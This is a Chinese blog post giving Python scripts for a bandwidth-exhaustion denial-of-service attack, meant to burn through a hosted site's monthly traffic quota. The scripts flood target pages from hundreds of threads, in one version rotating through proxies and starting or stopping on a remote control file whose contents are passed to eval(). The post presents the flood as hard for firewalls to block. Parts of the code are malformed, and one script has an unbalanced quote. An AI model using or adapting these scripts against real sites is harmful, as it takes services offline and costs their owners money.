您的位置:首页 > 其它

针对网页流量的Dos攻击脚本(使用代理服务器)

2012-05-29 12:18 239 查看
某目标网站,为虚拟主机,如果ISP限制月流量为20G,那么我们可以在短暂1-2天内消耗完其流量。(取决于你的机器)

方法原理如下:

1.找到目标网站大文件(页面)地址

2.多线程访问(下载)该地址

(注意:由于完全是出于模拟真实用户,所以不会被防火墙屏蔽掉)

(以下以hao123为例子而已)

一: 其中以上思路中的第一点 可以通过google浏览器的审计功能实现



如图,我可以得到几个大文件地址。

二:

找到地址以后,可以通过脚本程序实现多线程访问,不停消耗其网页浏览。

以下是我的机器运行程序后的截图(2 M adsl 仅10个线程,可以再加线程),我的接收也就是目标网站的消耗流量了(才几秒钟而已)。



可见效率还是不错的。

好了,脚本代码如下:

(注意,代理服务器需要放入proxy.txt文件中

格式为:

ip:port

一行一个)

import socket,random,threading,time,os,sys
import urllib.request as ur
socket.setdefaulttimeout(5)
os.chdir(sys.path[0])
domain='www.net'

tno=500

proxylist=[]

a=open(r'proxy.txt').read().strip().split()
for i in a:
proxylist.append(i.split(':'))

target=['','index.asp','img/css.css','img/x.gif','img/x.jpg','img/x.jpg']

target=['','index.asp']
data='''GET http://%s/%s HTTP/1.1
Host: %s
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.46 Safari/535.11
Accept: */*
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Referer: http://%s/ 
'''

no=1

plock=threading.Lock()

ok=False

def geturl():
global no
while True:
time.sleep(1)
while ok:
proxydet=random.choice(proxylist)
proxy=proxydet[0]
port=proxydet[1]
url=random.choice(target)
da=data % (domain,url,domain,domain)
try:
if not plock.locked():plock.acquire()
s=socket.socket()
s.connect((proxy,int(port)))
s.send(da.encode())
dd=s.recv(4024)
print(' ok ',no)
no=no+1
except Exception as err:
pass
finally:
s.close()
if plock.locked():plock.release()

def a():
global ok
url=r'http://www.xxx.com/xxx.txt'
try:
data=ur.urlopen(url).read().decode()
data=data.strip().split()
for i in data:
dom,yes=i.split(':')
if domain==dom:
ok=eval(yes)
except:
ok=False

for i in range(tno):
threading.Thread(target=geturl).start()

while True:
time.sleep(5)
a()


非代理版:

import os,socket,time,threading

data='''GET / HTTP/1.1
Host: %s
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11
Accept: */*

'''

domain='www.xxxx.net'
tno=400
mylock=threading.Lock()

def geturl():
global data
da=(data % domain).encode()
while True:
try:
if not mylock.locked():mylock.acquire()
s=socket.socket()
s.connect((domain,80))
s.send((data % domain).encode())
s.recv(2040)
print('ok')
except Exception as err:print('err:',err) ;pass
finally:
s.close()
if mylock.locked():mylock.release()

for i in range(tno):
threading.Thread(target=geturl).start()


import eventlet,time
from eventlet.green import socket
data=''qq HTTP/1.1
Host: qq
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22
Referer: http://hb.qq.com/news/reganmain/index.htm Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: RK=NcDPkbje2o

'''
def send1():
s=socket.socket()
s.connect(('qqm',80))
s.send(data)
s.close()

send1()
pool=eventlet.GreenPool(512)
while True:pool.spawn_n(send1)
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: